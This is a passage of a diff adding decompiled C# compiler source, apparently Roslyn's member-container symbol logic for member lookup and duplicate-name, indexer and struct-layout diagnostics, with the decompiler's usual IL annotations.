+ //IL_000b: Unknown result type (might be due to invalid IL or missing references) + TextSpan span2 = initializer.Syntax.Span; + return ((TextSpan)(ref span2)).Start.CompareTo(pos); + }); + if (num >= 0) + { + return num; + } + int num2 = ~num - 1; + if (num2 >= 0) + { + TextSpan span = initializers[num2].Syntax.Span; + if (((TextSpan)(ref span)).Contains(position)) + { + return num2; + } + } + return -1; + } + + internal override ImmutableArray GetTypeMembersUnordered() + { + return ImmutableArrayExtensions.Flatten, NamedTypeSymbol>(GetTypeMembersDictionary(), (IComparer)null); + } + + public override ImmutableArray GetTypeMembers() + { + return ImmutableArrayExtensions.Flatten, NamedTypeSymbol>(GetTypeMembersDictionary(), (IComparer)LexicalOrderSymbolComparer.Instance); + } + + public override ImmutableArray GetTypeMembers(ReadOnlyMemory name) + { + if (GetTypeMembersDictionary().TryGetValue(name, out ImmutableArray value)) + { + return value; + } + return ImmutableArray.Empty; + } + + public override ImmutableArray GetTypeMembers(ReadOnlyMemory name, int arity) + { + return ImmutableArrayExtensions.WhereAsArray(GetTypeMembers(name), (Func)((NamedTypeSymbol t, int num) => t.Arity == num), arity); + } + + private Dictionary, ImmutableArray> GetTypeMembersDictionary() + { + if (_lazyTypeMembers == null) + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + if (Interlocked.CompareExchange(ref _lazyTypeMembers, MakeTypeMembers(instance), null) == null) + { + AddDeclarationDiagnostics(instance); + state.NotePartComplete(CompletionPart.TypeMembers); + } + ((BindingDiagnosticBag)(object)instance).Free(); + } + return _lazyTypeMembers; + } + + private Dictionary, ImmutableArray> MakeTypeMembers(BindingDiagnosticBag diagnostics) + { + //IL_0104: Unknown result type (might be due to invalid IL or missing references) + //IL_0109: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + Dictionary<(string, int, SyntaxTree), SourceNamedTypeSymbol> dictionary = new Dictionary<(string, int, SyntaxTree), SourceNamedTypeSymbol>(); + try + { + ImmutableArray.Enumerator enumerator = declaration.Children.GetEnumerator(); + while (enumerator.MoveNext()) + { + MergedTypeDeclaration current = enumerator.Current; + SourceNamedTypeSymbol sourceNamedTypeSymbol = new SourceNamedTypeSymbol(this, current, diagnostics); + CheckMemberNameDistinctFromType(sourceNamedTypeSymbol, diagnostics); + (string, int, SyntaxTree) key = (sourceNamedTypeSymbol.Name, sourceNamedTypeSymbol.Arity, sourceNamedTypeSymbol.AssociatedSyntaxTree); + if (dictionary.TryGetValue(key, out var value)) + { + if (Locations.Length == 1 || IsPartial) + { + if (sourceNamedTypeSymbol.IsPartial && value.IsPartial) + { + diagnostics.Add(ErrorCode.ERR_PartialTypeKindConflict, sourceNamedTypeSymbol.GetFirstLocation(), sourceNamedTypeSymbol); + } + else + { + diagnostics.Add(ErrorCode.ERR_DuplicateNameInClass, sourceNamedTypeSymbol.GetFirstLocation(), this, sourceNamedTypeSymbol.Name); + } + } + } + else + { + dictionary.Add(key, sourceNamedTypeSymbol); + } + instance.Add((NamedTypeSymbol)sourceNamedTypeSymbol); + } + if (IsInterface) + { + Enumerator enumerator2 = instance.GetEnumerator(); + while (enumerator2.MoveNext()) + { + NamedTypeSymbol current2 = enumerator2.Current; + Binder.CheckFeatureAvailability(current2.DeclaringSyntaxReferences[0].GetSyntax(default(CancellationToken)), MessageID.IDS_DefaultInterfaceImplementation, diagnostics, current2.GetFirstLocation()); + } + } + return (instance.Count > 0) ? instance.ToDictionary>((Func>)((NamedTypeSymbol s) => s.Name.AsMemory()), (IEqualityComparer>)ReadOnlyMemoryOfCharComparer.Instance) : s_emptyTypeMembers; + } + finally + { + instance.Free(); + } + } + + private void CheckMemberNameDistinctFromType(Symbol member, BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Invalid comparison between Unknown and I4 + TypeKind typeKind = TypeKind; + if ((int)typeKind != 2) + { + if ((int)typeKind != 7) + { + if ((int)typeKind != 10) + { + return; + } + } + else if (!member.IsStatic) + { + return; + } + } + if (member.Name == Name) + { + diagnostics.Add(ErrorCode.ERR_MemberNameSameAsType, member.GetFirstLocation(), Name); + } + } + + internal override ImmutableArray GetMembersUnordered() + { + ImmutableArray lazyMembersFlattened = _lazyMembersFlattened; + if (lazyMembersFlattened.IsDefault) + { + lazyMembersFlattened = ImmutableArrayExtensions.Flatten, Symbol>(GetMembersByName(), (IComparer)null); + ImmutableInterlocked.InterlockedInitialize(ref _lazyMembersFlattened, lazyMembersFlattened); + lazyMembersFlattened = _lazyMembersFlattened; + } + return ImmutableArrayExtensions.ConditionallyDeOrder(lazyMembersFlattened); + } + + public override ImmutableArray GetMembers() + { + if (_flags.FlattenedMembersIsSorted) + { + return _lazyMembersFlattened; + } + ImmutableArray immutableArray = GetMembersUnordered(); + if (immutableArray.Length > 1) + { + immutableArray = immutableArray.Sort(LexicalOrderSymbolComparer.Instance); + ImmutableInterlocked.InterlockedExchange(ref _lazyMembersFlattened, immutableArray); + } + _flags.SetFlattenedMembersIsSorted(); + return immutableArray; + } + + public sealed override ImmutableArray GetMembers(string name) + { + if (GetMembersByName().TryGetValue(name.AsMemory(), out ImmutableArray value)) + { + return value; + } + return ImmutableArray.Empty; + } + + internal override bool HasPossibleWellKnownCloneMethod() + { + return IsRecord; + } + + internal override ImmutableArray GetSimpleNonTypeMembers(string name) + { + bool flag = _lazyMembersDictionary != null || declaration.MemberNames.Contains(name); + if (!flag) + { + DeclarationKind kind = declaration.Kind; + bool flag2 = kind - 9 <= DeclarationKind.Class; + flag = flag2; + } + if (flag) + { + return GetMembers(name); + } + return ImmutableArray.Empty; + } + + internal override IEnumerable GetFieldsToEmit() + { + if ((int)TypeKind == 5) + { + yield return ((SourceNamedTypeSymbol)this).EnumValueField; + } + ImmutableArray.Enumerator enumerator = GetMembers().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + SymbolKind kind = current.Kind; + if ((int)kind != 5) + { + if ((int)kind == 6 && !(current is TupleErrorFieldSymbol)) + { + yield return (FieldSymbol)current; + } + continue; + } + FieldSymbol associatedField = ((EventSymbol)current).AssociatedField; + if ((object)associatedField != null) + { + yield return associatedField; + } + } + } + + internal override ImmutableArray GetEarlyAttributeDecodingMembers() + { + return ImmutableArrayExtensions.Flatten, Symbol>(GetEarlyAttributeDecodingMembersDictionary(), (IComparer)null); + } + + internal override ImmutableArray GetEarlyAttributeDecodingMembers(string name) + { + if (!GetEarlyAttributeDecodingMembersDictionary().TryGetValue(name.AsMemory(), out ImmutableArray value)) + { + return ImmutableArray.Empty; + } + return value; + } + + private Dictionary, ImmutableArray> GetEarlyAttributeDecodingMembersDictionary() + { + if (_lazyEarlyAttributeDecodingMembersDictionary == null) + { + Dictionary, ImmutableArray> dictionary = Volatile.Read(in _lazyMembersDictionary); + if (dictionary != null) + { + return dictionary; + } + MembersAndInitializers membersAndInitializers = GetMembersAndInitializers(); + Dictionary, ImmutableArray> dictionary2 = (membersAndInitializers.HaveIndexers ? ToNameKeyedDictionary(ImmutableArrayExtensions.WhereAsArray(membersAndInitializers.NonTypeMembers, (Func)delegate(Symbol s) + { + if (!s.IsIndexer()) + { + if (s.IsAccessor()) + { + Symbol associatedSymbol = ((MethodSymbol)s).AssociatedSymbol; + if ((object)associatedSymbol == null) + { + return true; + } + return !associatedSymbol.IsIndexer(); + } + return true; + } + return false; + })) : ToNameKeyedDictionary(membersAndInitializers.NonTypeMembers)); + AddNestedTypesToDictionary(dictionary2, GetTypeMembersDictionary()); + Interlocked.CompareExchange(ref _lazyEarlyAttributeDecodingMembersDictionary, dictionary2, null); + } + return _lazyEarlyAttributeDecodingMembersDictionary; + } + + private static Dictionary, ImmutableArray> ToNameKeyedDictionary(ImmutableArray symbols) + { + if (symbols.Length == 1) + { + Symbol symbol = symbols[0]; + return new Dictionary, ImmutableArray>(1, (IEqualityComparer>?)ReadOnlyMemoryOfCharComparer.Instance) { + { + symbol.Name.AsMemory(), + ImmutableArray.Create(symbol) + } }; + } + if (symbols.Length == 0) + { + return new Dictionary, ImmutableArray>((IEqualityComparer>?)ReadOnlyMemoryOfCharComparer.Instance); + } + PooledDictionary, object> val = NamespaceOrTypeSymbol.s_nameToObjectPool.Allocate(); + ImmutableArray.Enumerator enumerator = symbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + ImmutableArrayExtensions.AddToMultiValueDictionaryBuilder, Symbol>((Dictionary, object>)(object)val, current.Name.AsMemory(), current); + } + Dictionary, ImmutableArray> dictionary = new Dictionary, ImmutableArray>(((Dictionary, object>)(object)val).Count, (IEqualityComparer>?)ReadOnlyMemoryOfCharComparer.Instance); + foreach (KeyValuePair, object> item in (Dictionary, object>)(object)val) + { + dictionary.Add(item.Key, (item.Value is ArrayBuilder val2) ? val2.ToImmutableAndFree() : ImmutableArray.Create((Symbol)item.Value)); + } + val.Free(); + return dictionary; + } + + protected MembersAndInitializers GetMembersAndInitializers() + { + MembersAndInitializers lazyMembersAndInitializers = _lazyMembersAndInitializers; + if (lazyMembersAndInitializers != null) + { + return lazyMembersAndInitializers; + } + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + lazyMembersAndInitializers = BuildMembersAndInitializers(instance); + MembersAndInitializers membersAndInitializers = Interlocked.CompareExchange(ref _lazyMembersAndInitializers, lazyMembersAndInitializers, null); + if (membersAndInitializers != null) + { + ((BindingDiagnosticBag)(object)instance).Free(); + return membersAndInitializers; + } + AddDeclarationDiagnostics(instance); + ((BindingDiagnosticBag)(object)instance).Free(); + _lazyDeclaredMembersAndInitializers = null; + return lazyMembersAndInitializers; + } + + [Conditional("DEBUG")] + internal void AssertMemberExposure(Symbol member, bool forDiagnostics = false) + { + if (member is NamedTypeSymbol || member is TypeParameterSymbol || member is SynthesizedMethodBaseSymbol) + { + return; + } + if (member is FieldSymbol { AssociatedSymbol: EventSymbol associatedSymbol }) + { + member = associatedSymbol; + } + MembersAndInitializers membersAndInitializers = Volatile.Read(in _lazyMembersAndInitializers); + if (isMemberInCompleteMemberList(membersAndInitializers, member) || membersAndInitializers != null || member is SynthesizedSimpleProgramEntryPointSymbol) + { + return; + } + DeclaredMembersAndInitializers declaredMembersAndInitializers = Volatile.Read(in _lazyDeclaredMembersAndInitializers); + if (declaredMembersAndInitializers != null) + { + if (!EnumerableExtensions.Contains((IEnumerable)declaredMembersAndInitializers.NonTypeMembers, (Func)((Symbol m) => (object)m == member))) + { + _ = declaredMembersAndInitializers.PrimaryConstructor; + _ = member; + } + } + else + { + membersAndInitializers = Volatile.Read(in _lazyMembersAndInitializers); + isMemberInCompleteMemberList(membersAndInitializers, member); + } + static bool isMemberInCompleteMemberList(MembersAndInitializers? membersAndInitializers2, Symbol symbol) + { + if (membersAndInitializers2 == null) + { + return false; + } + return EnumerableExtensions.Contains((IEnumerable)membersAndInitializers2.NonTypeMembers, (Func)((Symbol m) => (object)m == symbol)); + } + } + + protected Dictionary, ImmutableArray> GetMembersByName() + { + if (state.HasComplete(CompletionPart.Members)) + { + return _lazyMembersDictionary; + } + return GetMembersByNameSlow(); + } + + private Dictionary, ImmutableArray> GetMembersByNameSlow() + { + if (_lazyMembersDictionary == null) + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + Dictionary, ImmutableArray> value = MakeAllMembers(instance); + if (Interlocked.CompareExchange(ref _lazyMembersDictionary, value, null) == null) + { + AddDeclarationDiagnostics(instance); + state.NotePartComplete(CompletionPart.Members); + } + ((BindingDiagnosticBag)(object)instance).Free(); + } + state.SpinWaitComplete(CompletionPart.Members, default(CancellationToken)); + return _lazyMembersDictionary; + } + + internal override IEnumerable GetInstanceFieldsAndEvents() + { + return GetMembersAndInitializers().NonTypeMembers.Where(NamedTypeSymbol.IsInstanceFieldOrEvent); + } + + protected void AfterMembersChecks(BindingDiagnosticBag diagnostics) + { + //IL_01d9: Unknown result type (might be due to invalid IL or missing references) + //IL_01e9: Unknown result type (might be due to invalid IL or missing references) + //IL_0215: Unknown result type (might be due to invalid IL or missing references) + //IL_021a: Unknown result type (might be due to invalid IL or missing references) + //IL_023d: Unknown result type (might be due to invalid IL or missing references) + //IL_0242: Unknown result type (might be due to invalid IL or missing references) + if (IsInterface) + { + CheckInterfaceMembers(GetMembersAndInitializers().NonTypeMembers, diagnostics); + } + CheckMemberNamesDistinctFromType(diagnostics); + CheckMemberNameConflicts(diagnostics); + CheckRecordMemberNames(diagnostics); + CheckSpecialMemberErrors(diagnostics); + CheckTypeParameterNameConflicts(diagnostics); + CheckAccessorNameConflicts(diagnostics); + _ = KnownCircularStruct; + CheckSequentialOnPartialType(diagnostics); + CheckForProtectedInStaticClass(diagnostics); + CheckForUnmatchedOperators(diagnostics); + CheckForRequiredMemberAttribute(diagnostics); + if (IsScriptClass || base.IsSubmissionClass) + { + ReportRequiredMembers(diagnostics); + } + Location firstLocation = GetFirstLocation(); + CSharpCompilation declaringCompilation = DeclaringCompilation; + if (IsRefLikeType) + { + declaringCompilation.EnsureIsByRefLikeAttributeExists(diagnostics, firstLocation, modifyCompilation: true); + } + if (IsReadOnly) + { + declaringCompilation.EnsureIsReadOnlyAttributeExists(diagnostics, firstLocation, modifyCompilation: true); + } + NamedTypeSymbol baseType = BaseTypeNoUseSiteDiagnostics; + ImmutableArray interfaces = GetInterfacesToEmit(); + if (declaringCompilation.ShouldEmitNativeIntegerAttributes() && hasBaseTypeOrInterface((NamedTypeSymbol t) => t.ContainsNativeIntegerWrapperType())) + { + declaringCompilation.EnsureNativeIntegerAttributeExists(diagnostics, firstLocation, modifyCompilation: true); + } + if (declaringCompilation.ShouldEmitNullableAttributes(this)) + { + if (ShouldEmitNullableContextValue(out var _)) + { + declaringCompilation.EnsureNullableContextAttributeExists(diagnostics, firstLocation, modifyCompilation: true); + } + if (hasBaseTypeOrInterface((NamedTypeSymbol t) => t.NeedsNullableAttribute())) + { + declaringCompilation.EnsureNullableAttributeExists(diagnostics, firstLocation, modifyCompilation: true); + } + } + if (interfaces.Any(needsTupleElementNamesAttribute)) + { + Binder.ReportMissingTupleElementNamesAttributesIfNeeded(declaringCompilation, firstLocation, diagnostics); + } + if (IsReservedTypeName(Name)) + { + ImmutableArray.Enumerator enumerator = SyntaxReferences.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxNode syntax = enumerator.Current.GetSyntax(default(CancellationToken)); + SyntaxToken? val = ((syntax is BaseTypeDeclarationSyntax baseTypeDeclarationSyntax) ? new SyntaxToken?(baseTypeDeclarationSyntax.Identifier) : ((!(syntax is DelegateDeclarationSyntax delegateDeclarationSyntax)) ? ((SyntaxToken?)null) : new SyntaxToken?(delegateDeclarationSyntax.Identifier))); + SyntaxToken? val2 = val; + object name; + SyntaxToken valueOrDefault; + if (!val2.HasValue) + { + name = null; + } + else + { + valueOrDefault = val2.GetValueOrDefault(); + name = ((SyntaxToken)(ref valueOrDefault)).Text; + } + CSharpCompilation declaringCompilation2 = DeclaringCompilation; + DiagnosticBag diagnosticBag = ((BindingDiagnosticBag)diagnostics).DiagnosticBag; + object obj; + if (!val2.HasValue) + { + obj = null; + } + else + { + valueOrDefault = val2.GetValueOrDefault(); + obj = ((SyntaxToken)(ref valueOrDefault)).GetLocation(); + } + if (obj == null) + { + obj = Location.None; + } + ReportReservedTypeName((string?)name, declaringCompilation2, diagnosticBag, (Location)obj); + } + } + FileIdentifier associatedFileIdentifier = AssociatedFileIdentifier; + if (associatedFileIdentifier != null) + { + _ = declaration.Declarations[0].SyntaxReference.SyntaxTree; + string encoderFallbackErrorMessage = associatedFileIdentifier.EncoderFallbackErrorMessage; + if (encoderFallbackErrorMessage != null) + { + diagnostics.Add(ErrorCode.ERR_FilePathCannotBeConvertedToUtf8, firstLocation, this, encoderFallbackErrorMessage); + } + if ((object)ContainingType != null) + { + diagnostics.Add(ErrorCode.ERR_FileTypeNested, firstLocation, this); + } + } + bool hasBaseTypeOrInterface(Func predicate) + { + if ((object)baseType == null || !predicate(baseType)) + { + return interfaces.Any(predicate); + } + return true; + } + static bool needsTupleElementNamesAttribute(TypeSymbol type) + { + if ((object)type == null) + { + return false; + } + return (object)type.VisitType((TypeSymbol t, object a, bool b) => !t.TupleElementNames.IsDefaultOrEmpty && !t.IsErrorType(), null) != null; + } + } + + protected virtual void AfterMembersCompletedChecks(BindingDiagnosticBag diagnostics) + { + } + + private void CheckMemberNamesDistinctFromType(BindingDiagnosticBag diagnostics) + { + ImmutableArray.Enumerator enumerator = GetMembersAndInitializers().NonTypeMembers.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + CheckMemberNameDistinctFromType(current, diagnostics); + } + } + + private void CheckRecordMemberNames(BindingDiagnosticBag diagnostics) + { + if (declaration.Kind == DeclarationKind.Record || declaration.Kind == DeclarationKind.RecordStruct) + { + ImmutableArray.Enumerator enumerator = GetMembers("Clone").GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + diagnostics.Add(ErrorCode.ERR_CloneDisallowedInRecord, current.GetFirstLocation()); + } + } + } + + private void CheckMemberNameConflicts(BindingDiagnosticBag diagnostics) + { + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Invalid comparison between Unknown and I4 + //IL_00b0: Unknown result type (might be due to invalid IL or missing references) + //IL_00b7: Invalid comparison between Unknown and I4 + //IL_00c6: Unknown result type (might be due to invalid IL or missing references) + //IL_00cc: Invalid comparison between Unknown and I4 + //IL_00bb: Unknown result type (might be due to invalid IL or missing references) + //IL_00c2: Invalid comparison between Unknown and I4 + //IL_0142: Unknown result type (might be due to invalid IL or missing references) + //IL_0148: Invalid comparison between Unknown and I4 + //IL_0117: Unknown result type (might be due to invalid IL or missing references) + //IL_011e: Invalid comparison between Unknown and I4 + Dictionary, ImmutableArray> membersByName = GetMembersByName(); + CheckIndexerNameConflicts(diagnostics, membersByName); + Dictionary dictionary = new Dictionary(MemberSignatureComparer.DuplicateSourceComparer); + Dictionary dictionary2 = new Dictionary(MemberSignatureComparer.DuplicateSourceComparer); + HashSet hashSet = new HashSet(ConversionSignatureComparer.Comparer); + foreach (KeyValuePair, ImmutableArray> item in membersByName) + { + ReadOnlyMemory key = item.Key; + Symbol symbol = GetTypeMembers(key).FirstOrDefault(); + dictionary.Clear(); + ImmutableArray.Enumerator enumerator2 = item.Value.GetEnumerator(); + while (enumerator2.MoveNext()) + { + Symbol current2 = enumerator2.Current; + if ((int)current2.Kind == 11 || current2.IsAccessor() || current2.IsIndexer()) + { + continue; + } + if ((object)symbol != null) + { + if ((int)current2.Kind != 9 || (int)symbol.Kind != 9) + { + if (((int)current2.Kind != 6 || !current2.IsImplicitlyDeclared) && (Locations.Length == 1 || IsPartial)) + { + diagnostics.Add(ErrorCode.ERR_DuplicateNameInClass, current2.GetFirstLocation(), this, current2.Name); + } + if ((int)symbol.Kind == 9) + { + symbol = current2; + } + } + } + else + { + symbol = current2; + } + SourceUserDefinedConversionSymbol sourceUserDefinedConversionSymbol = current2 as SourceUserDefinedConversionSymbol; + SourceMemberMethodSymbol sourceMemberMethodSymbol = current2 as SourceMemberMethodSymbol; + if ((object)sourceUserDefinedConversionSymbol != null && (int)sourceUserDefinedConversionSymbol.MethodKind == 2) + { + if (!hashSet.Add(sourceUserDefinedConversionSymbol)) + { + diagnostics.Add(ErrorCode.ERR_DuplicateConversionInClass, sourceUserDefinedConversionSymbol.GetFirstLocation(), this); + } + else if (!dictionary2.ContainsKey(sourceUserDefinedConversionSymbol)) + { + dictionary2.Add(sourceUserDefinedConversionSymbol, sourceUserDefinedConversionSymbol); + } + if (dictionary.TryGetValue(sourceUserDefinedConversionSymbol, out var value)) + { + ReportMethodSignatureCollision(diagnostics, sourceUserDefinedConversionSymbol, value); + } + } + else if ((object)sourceMemberMethodSymbol != null) + { + if (dictionary2.TryGetValue(sourceMemberMethodSymbol, out var value2)) + { + ReportMethodSignatureCollision(diagnostics, sourceMemberMethodSymbol, value2); + } + if (dictionary.TryGetValue(sourceMemberMethodSymbol, out var value3)) + { + ReportMethodSignatureCollision(diagnostics, sourceMemberMethodSymbol, value3); + } + else + { + dictionary.Add(sourceMemberMethodSymbol, sourceMemberMethodSymbol); + } + } + } + } + } + + private void ReportMethodSignatureCollision(BindingDiagnosticBag diagnostics, SourceMemberMethodSymbol method1, SourceMemberMethodSymbol method2) + { + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Invalid comparison between Unknown and I4 + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_00b5: Unknown result type (might be due to invalid IL or missing references) + //IL_00ba: Unknown result type (might be due to invalid IL or missing references) + //IL_00cd: Unknown result type (might be due to invalid IL or missing references) + //IL_00d2: Unknown result type (might be due to invalid IL or missing references) + //IL_00d4: Unknown result type (might be due to invalid IL or missing references) + //IL_00d6: Unknown result type (might be due to invalid IL or missing references) + //IL_0145: Unknown result type (might be due to invalid IL or missing references) + //IL_014b: Invalid comparison between Unknown and I4 + //IL_00db: Unknown result type (might be due to invalid IL or missing references) + //IL_00e1: Invalid comparison between Unknown and I4 + //IL_014e: Unknown result type (might be due to invalid IL or missing references) + //IL_0154: Invalid comparison between Unknown and I4 + //IL_0118: Unknown result type (might be due to invalid IL or missing references) + //IL_0122: Unknown result type (might be due to invalid IL or missing references) + SourceOrdinaryMethodSymbol sourceOrdinaryMethodSymbol2; + if (method1 is SourceOrdinaryMethodSymbol sourceOrdinaryMethodSymbol) + { + if (sourceOrdinaryMethodSymbol.IsPartialDefinition) + { + sourceOrdinaryMethodSymbol2 = method2 as SourceOrdinaryMethodSymbol; + if ((object)sourceOrdinaryMethodSymbol2 != null) + { + if (sourceOrdinaryMethodSymbol2.IsPartialImplementation) + { + return; + } + if (sourceOrdinaryMethodSymbol.IsPartialImplementation) + { + goto IL_0040; + } + } + } + else if (sourceOrdinaryMethodSymbol.IsPartialImplementation) + { + sourceOrdinaryMethodSymbol2 = method2 as SourceOrdinaryMethodSymbol; + if ((object)sourceOrdinaryMethodSymbol2 != null) + { + goto IL_0040; + } + } + } + else if (method1 is SynthesizedSimpleProgramEntryPointSymbol && method2 is SynthesizedSimpleProgramEntryPointSymbol) + { + return; + } + goto IL_005e; + IL_0040: + if (!sourceOrdinaryMethodSymbol2.IsPartialDefinition) + { + goto IL_005e; + } + return; + IL_005e: + if ((int)method1.MethodKind == 1) + { + SyntaxToken identifier = ((ConstructorDeclarationSyntax)(object)method1.SyntaxRef.GetSyntax(default(CancellationToken))).Identifier; + if (((SyntaxToken)(ref identifier)).ValueText != Name) + { + return; + } + } + for (int i = 0; i < method1.ParameterCount; i++) + { + RefKind refKind = method1.Parameters[i].RefKind; + RefKind refKind2 = method2.Parameters[i].RefKind; + if (refKind != refKind2) + { + MessageID id = (((int)method1.MethodKind == 1) ? MessageID.IDS_SK_CONSTRUCTOR : MessageID.IDS_SK_METHOD); + diagnostics.Add(ErrorCode.ERR_OverloadRefKind, method1.GetFirstLocation(), this, id.Localize(), RefKindExtensions.ToParameterDisplayString(refKind), RefKindExtensions.ToParameterDisplayString(refKind2)); + return; + } + } + string text = (((int)method1.MethodKind == 4 && (int)method2.MethodKind == 4) ? ("~" + Name) : (method1.IsConstructor() ? Name : method1.Name)); + diagnostics.Add(ErrorCode.ERR_MemberAlreadyExists, method1.GetFirstLocation(), text, this); + } + + private void CheckIndexerNameConflicts(BindingDiagnosticBag diagnostics, Dictionary, ImmutableArray> membersByName) + { + PooledHashSet val = null; + if (Arity > 0) + { + val = PooledHashSet.GetInstance(); + ImmutableArray.Enumerator enumerator = TypeParameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeParameterSymbol current = enumerator.Current; + ((HashSet)(object)val).Add(current.Name); + } + } + Dictionary dictionary = new Dictionary(MemberSignatureComparer.DuplicateSourceComparer); + foreach (ImmutableArray value in membersByName.Values) + { + string lastIndexerName = null; + dictionary.Clear(); + ImmutableArray.Enumerator enumerator3 = value.GetEnumerator(); + while (enumerator3.MoveNext()) + { + Symbol current3 = enumerator3.Current; + if (!current3.IsIndexer()) + { + continue; + } + PropertySymbol propertySymbol = (PropertySymbol)current3; + CheckIndexerSignatureCollisions(propertySymbol, diagnostics, membersByName, dictionary, ref lastIndexerName); + if (val != null) + { + string metadataName = propertySymbol.MetadataName; + if (((HashSet)(object)val).Contains(metadataName)) + { + diagnostics.Add(ErrorCode.ERR_DuplicateNameInClass, propertySymbol.GetFirstLocation(), this, metadataName); + } + } + } + } + val?.Free(); + } + + private void CheckIndexerSignatureCollisions(PropertySymbol indexer, BindingDiagnosticBag diagnostics, Dictionary, ImmutableArray> membersByName, Dictionary indexersBySignature, ref string? lastIndexerName) + { + if (!indexer.IsExplicitInterfaceImplementation) + { + string metadataName = indexer.MetadataName; + if (lastIndexerName != null && lastIndexerName != metadataName) + { + diagnostics.Add(ErrorCode.ERR_InconsistentIndexerNames, indexer.GetFirstLocation()); + } + lastIndexerName = metadataName; + if ((Locations.Length == 1 || IsPartial) && membersByName.ContainsKey(metadataName.AsMemory())) + { + diagnostics.Add(ErrorCode.ERR_DuplicateNameInClass, indexer.GetFirstLocation(), this, metadataName); + } + } + if (indexersBySignature.TryGetValue(indexer, out PropertySymbol _)) + { + diagnostics.Add(ErrorCode.ERR_MemberAlreadyExists, indexer.GetFirstLocation(), SyntaxFacts.GetText(SyntaxKind.ThisKeyword), this); + } + else + { + indexersBySignature[indexer] = indexer; + } + } + + private void CheckSpecialMemberErrors(BindingDiagnosticBag diagnostics) + { + TypeConversions typeConversions = ContainingAssembly.CorLibrary.TypeConversions; + ImmutableArray.Enumerator enumerator = GetMembersUnordered().GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.AfterAddingTypeMembersChecks(typeConversions, diagnostics); + } + } + + private void CheckTypeParameterNameConflicts(BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)TypeKind == 3 || (Locations.Length != 1 && !IsPartial)) + { + return; + } + ImmutableArray.Enumerator enumerator = TypeParameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeParameterSymbol current = enumerator.Current; + ImmutableArray.Enumerator enumerator2 = GetMembers(current.Name).GetEnumerator(); + while (enumerator2.MoveNext()) + { + Symbol current2 = enumerator2.Current; + diagnostics.Add(ErrorCode.ERR_DuplicateNameInClass, current2.GetFirstLocation(), this, current.Name); + } + } + } + + private void CheckAccessorNameConflicts(BindingDiagnosticBag diagnostics) + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Invalid comparison between Unknown and I4 + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Invalid comparison between Unknown and I4 + ImmutableArray.Enumerator enumerator = GetMembersUnordered().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if (current.IsExplicitInterfaceImplementation()) + { + continue; + } + SymbolKind kind = current.Kind; + if ((int)kind != 5) + { + if ((int)kind == 15) + { + PropertySymbol propertySymbol = (PropertySymbol)current; + CheckForMemberConflictWithPropertyAccessor(propertySymbol, getNotSet: true, diagnostics); + CheckForMemberConflictWithPropertyAccessor(propertySymbol, getNotSet: false, diagnostics); + } + } + else + { + EventSymbol eventSymbol = (EventSymbol)current; + CheckForMemberConflictWithEventAccessor(eventSymbol, isAdder: true, diagnostics); + CheckForMemberConflictWithEventAccessor(eventSymbol, isAdder: false, diagnostics); + } + } + } + + private bool CheckStructCircularity(BindingDiagnosticBag diagnostics) + { + CheckFiniteFlatteningGraph(diagnostics); + return HasStructCircularity(diagnostics); + } + + private bool HasStructCircularity(BindingDiagnosticBag diagnostics) + { + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Invalid comparison between Unknown and I4 + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Invalid comparison between Unknown and I4 + foreach (ImmutableArray value in GetMembersByName().Values) + { + ImmutableArray.Enumerator enumerator2 = value.GetEnumerator(); + while (enumerator2.MoveNext()) + { + Symbol current = enumerator2.Current; + if ((int)current.Kind != 6) + { + continue; + } + FieldSymbol fieldSymbol = (FieldSymbol)current; + if (fieldSymbol.IsStatic) + { + continue; + } + TypeSymbol typeSymbol = fieldSymbol.NonPointerType(); + if ((object)typeSymbol != null && (int)typeSymbol.TypeKind == 10 && BaseTypeAnalysis.StructDependsOn((NamedTypeSymbol)typeSymbol, this) && !typeSymbol.IsPrimitiveRecursiveStruct()) + { + if (fieldSymbol is SynthesizedPrimaryConstructorParameterBackingFieldSymbol synthesizedPrimaryConstructorParameterBackingFieldSymbol) + { + ParameterSymbol parameterSymbol = synthesizedPrimaryConstructorParameterBackingFieldSymbol.ParameterSymbol; + diagnostics.Add(ErrorCode.ERR_StructLayoutCyclePrimaryConstructorParameter, parameterSymbol.GetFirstLocation(), parameterSymbol, typeSymbol); + } + else + { + Symbol symbol = fieldSymbol.AssociatedSymbol ?? fieldSymbol; + diagnostics.Add(ErrorCode.ERR_StructLayoutCycle, symbol.GetFirstLocation(), symbol, typeSymbol); + } + return true; + } + } + } + return false; + } + + private void CheckForProtectedInStaticClass(BindingDiagnosticBag diagnostics) + { + 